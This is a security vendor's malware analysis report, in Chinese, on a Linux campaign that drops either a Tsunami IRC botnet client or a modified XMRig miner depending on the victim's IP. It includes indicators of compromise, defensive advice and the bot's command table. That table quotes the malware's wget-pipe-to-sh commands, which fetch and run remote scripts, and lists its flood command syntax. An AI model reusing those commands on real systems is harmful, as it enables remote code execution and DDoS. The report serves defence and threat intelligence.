精準投放Tsunami僵尸網絡和“魔鏟”挖礦木馬的行動分析
時間 : 2020年04月24日 來源: 安天CERT
1 概述
近日,安天CERT聯合哈爾濱工業大學網絡安全響應組通過網絡安全監測發現了一起僵尸網絡和挖礦木馬事件,該事件針對Linux系統,包含服務器和智能設備。攻擊者配置了一個IP列表,如果目標主機外網IP在列表中則下載運行Tsunami僵尸程序,如果目標主機外網IP不在列表中則下載運行“魔鏟”挖礦木馬,IP列表共8487條,全球范圍內涉及政府部門、金融行業、互聯網企業、媒體、運營商等多種目標,國內也有大量目標。
安天CERT分析推測,IP列表中的對應機構的特點是網絡流量相對較大,因此被攻擊者用來做僵尸網絡的組成部分;IP列表外的,網絡流量可能相對較小,因此被攻擊者用來挖礦。
被感染的Linux系統的計劃任務中,存在一個每隔一段時間執行一次下載和運行update.sh腳本的任務。該腳本功能是獲取計算機信息(用戶id、處理器架構和公網IP),連接網絡讀取一個IP列表(server.txt),判斷主機的公網IP是否存在于該IP列表中,如果存在則準備下載組成僵尸網絡的僵尸程序運行,如果不存在則準備下載挖礦木馬運行。
安天CERT分析判定,update.sh腳本下載的僵尸程序屬于Tsunami家族。該僵尸網絡基于Internet中繼聊天(IRC)的命令控制服務器操作,在受感染設備的配置中修改DNS服務器設置,使來自物聯網設備的流量被重定向到攻擊者控制的惡意服務器。Tsunami僵尸網絡主要使用下載器下載、利用漏洞、遠程登錄掃描等方式進行傳播。Tsunami僵尸網絡的主要功能為遠程控制、DDoS攻擊和其他惡意行為。
安天CERT分析判定,update.sh腳本下載的挖礦木馬是攻擊者基于開源的門羅幣挖礦工具(XMRig)開發修改,該挖礦木馬和網絡流量中均含有特殊字符串“pwnRig”,安天CERT將該挖礦木馬命名為“魔鏟”挖礦木馬。
目前,安天智甲終端防御系統 (Linux版本)可實現對該挖礦木馬和僵尸網絡的查殺與有效防護。安天智甲作為安天旗下的終端防御系統,目前已經率先完成與統信操作系統UOS全平臺適配兼容 ,成為統信操作系統生態伙伴。
2 事件對應的ATT&CK映射圖譜
該起事件主要是由惡意腳本所引發,針對目標特點投放僵尸程序或挖礦木馬。通過對該事件進行ATT&CK映射,展示攻擊者在該事件中使用的技術特點。
圖 2-1事件對應的ATT&CK映射圖譜
具體ATT&CK技術行為描述表:
表 2-1 該事件的ATT&CK技術行為描述表
ATT&CK階段/類別 |
具體行為 |
注釋 |
執行 |
利用計劃任務 |
添加計劃任務,定時啟動; |
使用腳本 |
使用Linux
Shell腳本; |
|
持久化 |
利用計劃任務 |
添加計劃任務,定時啟動; |
防御規避 |
軟件加殼 |
對惡意程序加殼; |
發現 |
發現系統所有者/用戶 |
獲取系統用戶id; |
發現進程 |
遍歷系統進程; |
|
發現系統信息 |
獲取處理器架構信息; |
|
發現系統網絡連接 |
獲取主機公網IP地址及所有網絡連接的IP; |
|
命令與控制 |
利用常用端口 |
利用常用端口與C2建立連接和數據傳輸; |
滲出 |
通過C2信道回傳 |
通過C2信道回傳數據; |
影響 |
端點側拒絕服務(DoS) |
針對終端的拒絕服務攻擊; |
網絡側拒絕服務(DoS) |
針對網絡的拒絕服務攻擊; |
|
資源劫持 |
消耗系統資源; |
3 防護建議
針對該挖礦木馬和僵尸網絡安天建議企業采取如下防護措施:
3.1 企業防護
(1) 安裝終端防護:安裝反病毒軟件,建議安裝安天智甲終端防御系統 Linux版本。
(2) 加強ssh口令強度:避免使用弱口令,建議使用16位或更長的密碼,包括大小寫字母、數字和符號在內的組合,同時避免多個服務器使用相同口令;
(3) 及時更新補丁:建議開啟自動更新功能安裝系統補丁,服務器應及時更新系統補丁;
(4) 開啟日志:開啟關鍵日志收集功能(安全日志、系統日志、錯誤日志、訪問日志、傳輸日志和Cookie日志),為安全事件的追蹤溯源提供基礎;
(5) 主機加固:對系統進行滲透測試及安全加固;
(6) 部署入侵檢測系統(IDS):部署流量監控類軟件或設備,便于對惡意代碼的發現與追蹤溯源。安天探海威脅檢測系統 (PTD)以網絡流量為檢測分析對象,能精準檢測出已知海量惡意代碼和網絡攻擊活動,有效發現網絡可疑行為、資產和各類未知威脅;
(7) 安天服務:若遭受惡意軟件攻擊,建議及時隔離被攻擊主機,并保護現場等待安全工程師對計算機進行排查;安天7*24小時服務熱線:400-840-9234
目前,安天智甲終端防御系統 (Linux版本)可實現對該挖礦木馬和僵尸網絡的查殺與有效防護。
圖 3-1安天智甲有效防護
4 樣本分析
4.1 update.sh腳本分析
表 4-1 update.sh標簽
病毒名稱 |
Trojan[Downloader]/Shell.Mine |
原始文件名 |
update.sh |
MD5 |
6AE73CAB2D8378816AD0CB3B77EBA983 |
文件大小 |
1.35 KB(1,379 字節) |
文件格式 |
Script/Linux.SH[:Shell] |
VT首次上傳時間 |
2020-04-14 02:30:57 |
VT檢測結果 |
1 / 59 |
update.sh腳本的內容如下:
圖 4-1 update.sh腳本內容
被感染的Linux系統的計劃任務中,存在一個每隔一段時間執行一次下載和運行update.sh腳本的任務。該腳本功能是獲取計算機信息(用戶id、處理器架構和公網IP),連接網絡讀取一個IP列表(server.txt),判斷主機的公網IP是否存在于該IP列表中,如果存在則準備下載組成僵尸網絡的僵尸程序運行,如果不存在則準備下載挖礦木馬運行。在準備下載僵尸程序運行前,判斷主機中是否存在僵尸程序相關字符串的進程,其目的是判斷主機是否已經感染了該僵尸程序;判斷用戶id是否為root用戶,選擇是否開啟ssh服務;判斷處理器架構,選擇下載相應架構的僵尸程序運行(見表4-2),經安天CERT分析工程師測試,僅存在i686和x86_64兩種架構的僵尸程序。在準備下載挖礦木馬運行前,判斷主機網絡連接中的所有IP地址是否存在攻擊者正在使用的與挖礦相關的三個IP(見表4-3),其目的是判斷主機是否已經感染了該挖礦木馬,如果未感染則選擇下載相應架構的挖礦木馬運行,經安天CERT分析工程師測試,僅存在i686和x86_64兩種架構的挖礦木馬。
主要的處理器架構信息及對應的下載情況:
表 4-2 對應處理器架構的下載情況
處理器架構 |
是否能下載對應架構的惡意代碼 |
能下載的惡意代碼 |
i686 |
是 |
僵尸程序、挖礦木馬 |
x86_64 |
是 |
僵尸程序、挖礦木馬 |
i386 |
否 |
無 |
aarch64 |
否 |
無 |
mips64 |
否 |
無 |
mips64el |
否 |
無 |
sw_64 |
否 |
無 |
update.sh中的3個IP信息如下,這3個IP及曾經解析過的域名可能與礦池代理相關:
表 4-3 IP信息
IP |
國家 |
域名 |
185.183.97.216 |
羅馬尼亞布加勒斯特 |
xmr-v4.pwndns.pw(歷史解析) |
51.79.74.212 |
加拿大 |
212.ip-51-79-74.net |
185.45.192.135 |
荷蘭南荷蘭省 |
無 |
update.sh腳本的詳細執行流程如下:
圖 4-2 update.sh腳本的詳細執行流程
4.2 Tsunami僵尸程序分析
表 4-4 僵尸程序標簽
病毒名稱 |
Trojan[Backdoor]/Linux.Tsunami |
原始文件名 |
x86_64 |
MD5 |
4FF3BA68D0F154E98222BAD4DAF0F253 |
文件大小 |
184 KB(188,648 字節) |
文件格式 |
BinExecute/Linux.ELF |
加殼類型 |
upx |
VT首次上傳時間 |
2020-02-29 16:38:48 |
VT檢測結果 |
36 / 60 |
經安天CERT分析判定,update.sh腳本下載的僵尸程序屬于Tsunami家族。該僵尸網絡基于Internet中繼聊天(IRC)的命令控制服務器操作,在受感染設備的配置中修改DNS服務器設置,使來自物聯網設備的流量被重定向到攻擊者控制的惡意服務器。Tsunami僵尸網絡主要使用下載器下載、利用漏洞、遠程登錄掃描等方式進行傳播。Tsunami僵尸網絡的主要功能為遠程控制、DDoS攻擊和其他惡意行為。
Tsunami僵尸程序運行后,先判斷是否為唯一實例運行,獲取該進程識別碼、當前系統時間和父進程PPID隨機組成用戶識別碼。
圖 4-3生成用戶識別碼
該僵尸程序的上線地址由內置的IP和域名二選一和內置的7個端口號七選一組合而成。內置的IP和域名為:
80.23.88.68
irc.do-dear.com
7個默認端口為:
80、443、6667、6668、7000、8080、22
向上線地址發送的內容格式為:
NICK %s',0Ah 'USER %s localhost localhost:%s
向上線地址(IRC服務器)發送連接后,等待攻擊者的控制指令。Tsunami僵尸程序的主要功能為遠程控制、DDoS攻擊和其他惡意行為。
遠程控制的指令與功能描述如下:
表 4-5 Tsunami僵尸程序的遠程控制功能的指令與功能描述
指令 |
描述 |
語法 |
352 |
設定假IP |
|
376 |
加入頻道 |
Send(fd,”NICK %s\n”,nick) Send(fd,"MODE %s-xi\n",nick) Send(fd,"JOIN %s :%s\n",chan,pass) |
433 |
產生一個新的昵稱 |
|
422 |
加入頻道 |
Send(fd,"NICK %s\n",nick) Send(fd,"MODE %s -xi\n",nick) Send(fd,"JOIN %s:%s\n",chan,pass) |
PRIVMSG |
執行特殊指令 |
|
PING |
發送PONG |
|
NICK |
從指令中取一個字符串作為昵稱 |
|
DDoS攻擊的指令與功能描述如下:
表 4-6 Tsunami僵尸程序的DDoS攻擊的指令與功能描述
指令 |
描述 |
語法 |
RANDOMFLOOD |
在ACK洪水和SYN洪水之間隨機切換 |
RANDOMFLOOD <target> <port>
<secs> |
ACKFLOOD |
ACK洪水(欺騙) |
ACKFLOOD <target> <port>
<secs> |
SYNFLOOD |
SYN洪水(欺騙) |
SYNFLOOD <target> <port>
<secs> |
TSUNAMI |
發起DDoS攻擊 |
TSUNAMI <target> <secs> |
PAN |
“高級”SYN洪水 |
PAN <target> <port> <secs> |
SUDP |
UDP洪水(欺騙) |
SUDP <target> <port> <secs> |
UDP |
UDP洪水 |
UDP <target> <port> <secs> |
NSACKFLOOD |
ACK洪水 |
NSACKFLOOD <target> <port>
<secs> |
NSSYNFLOOD |
SYN洪水 |
NSSYNFLOOD <target> <port>
<secs> |
STD |
發起DDoS攻擊 |
STD <target> <port> <secs> |
UNKNOWN |
發起DDoS攻擊 |
UNKNOWN <target> <secs>
(recommended for non-root users) |
KILLALL |
終止DDoS攻擊 |
|
其他的指令與功能描述如下:
表 4-7其他的指令與相關功能描述
指令 |
描述 |
語法 |
DNS |
識別域并將其IP發送給服務器 |
|
CUSTOM |
執行自定義腳本(在指定的鏈接處) wget -qO http://o.kei.su/custom | sh> / dev
/ null 2>&1 |
|
PATCH |
針對Shellshock漏洞 wget -qO http: //o.kei.su/patch | sh> / dev
/ null 2>&1 |
|
BOTKILL |
刪除其他木馬 wget -qO http://o.kei.su/botkill | sh> / dev
/ null 2>&1 |
|
GETSPOOFS |
獲取欺騙參數 |
|
SPOOFS |
設置用于欺騙的IP或IP范圍 |
SPOOFS <iprange/ip> |
VERSION |
返回后門版本 |
|
SERVER |
將服務器更改為指令中指定的服務器 |
|
GET |
下載指定文件 |
GET <url> <save as> |
IRC |
將指定的IRC指令發送到服務器 |
IRC <arg1> <arg2> <arg...> |
HELP |
顯示可用指令列表 |
|
SH |
執行一組SH指令 |
SH <arg1> <arg2> <arg...> |
4.3 “魔鏟”挖礦木馬分析
安天CERT分析判定,update.sh腳本下載的挖礦木馬是攻擊者基于開源的門羅幣挖礦工具(XMRig)開發修改,該挖礦木馬和網絡流量中均含有特殊字符串“pwnRig”,安天CERT將該挖礦木馬命名為“魔鏟”挖礦木馬。“魔鏟”挖礦木馬連接非公共礦池,無法追蹤活動情況,運行后將自身添加至計劃任務中,設置為每分鐘執行一次。
表 4-8 挖礦木馬標簽
病毒名稱 |
RiskWare[RiskTool]/Linux.pwnrig |
原始文件名 |
x86_64 |
MD5 |
19BD34C54B71BE9C418B5B5604410863 |
文件大小 |
2.43 MB(2,555,924 字節) |
文件格式 |
BinExecute/Linux.ELF |
加殼類型 |
upx |
VT首次上傳時間 |
2020-04-10 18:10:13 |
VT檢測結果 |
25 / 60 |
挖礦木馬中含有特殊字符串“pwnRig”:
圖 4-4 挖礦木馬中的字符串
網絡流量中含有特殊字符串“pwnRig”:
圖 4-5 挖礦程序流量分析
挖礦木馬的錢包地址:
46VfQxKRmjSsMRYux3r6qJvxwdVCmZfUFkPqt1uUfikSSy2wJFbcDzdX2ZuH4hDzs7xS8Nsy5orNTMtQUJADuavC2vV1Rp
5 信息整理分析
5.1 IP列表(Server.txt)分析
攻擊者配置了一個IP列表,如果目標主機外網IP在列表中則下載運行Tsunami僵尸程序,如果目標主機外網IP不在列表中則下載運行“魔鏟”挖礦木馬,IP列表共8487條,全球范圍內涉及政府部門、金融行業、互聯網企業、媒體、運營商等多種目標,國內也有大量目標(2474條)。
圖 5-1 IP地址對應地理位置分布情況(全球)
圖 5-2 IP地址對應地理位置分布情況(國內)
5.2 update.sh中的域名關聯分析
通過安天威脅情報綜合分析平臺關聯update.sh中下載惡意代碼鏈接的域名,發現多個與遠程控制木馬、挖礦木馬有關的惡意域名。
圖 5-3安天威脅情報綜合分析平臺域名關聯分析
上述域名關聯結果列表:
表 5-1域名對應的關聯結果
域名 |
關聯結果 |
pw.pwndns.pw |
僵尸網絡、挖礦木馬 |
pwn.pwndns.pw |
遠程控制木馬、挖礦木馬 |
xmr-v4.pwndns.pw |
遠程控制木馬、挖礦木馬 |
xmr-rx0.pwndns.pw |
遠程控制木馬、挖礦木馬 |
6 附錄:IoCs
IoCs |
6AE73CAB2D8378816AD0CB3B77EBA983 |
4FF3BA68D0F154E98222BAD4DAF0F253 |
19BD34C54B71BE9C418B5B5604410863 |
45F9B43EF723BC4D11A481F093969B34 |
259430ECA6C287D1590B2E1640C69E6D |
pw.pwndns.pw |
pwn.pwndns.pw |
xmr-v4.pwndns.pw |
xmr-rx0.pwndns.pw |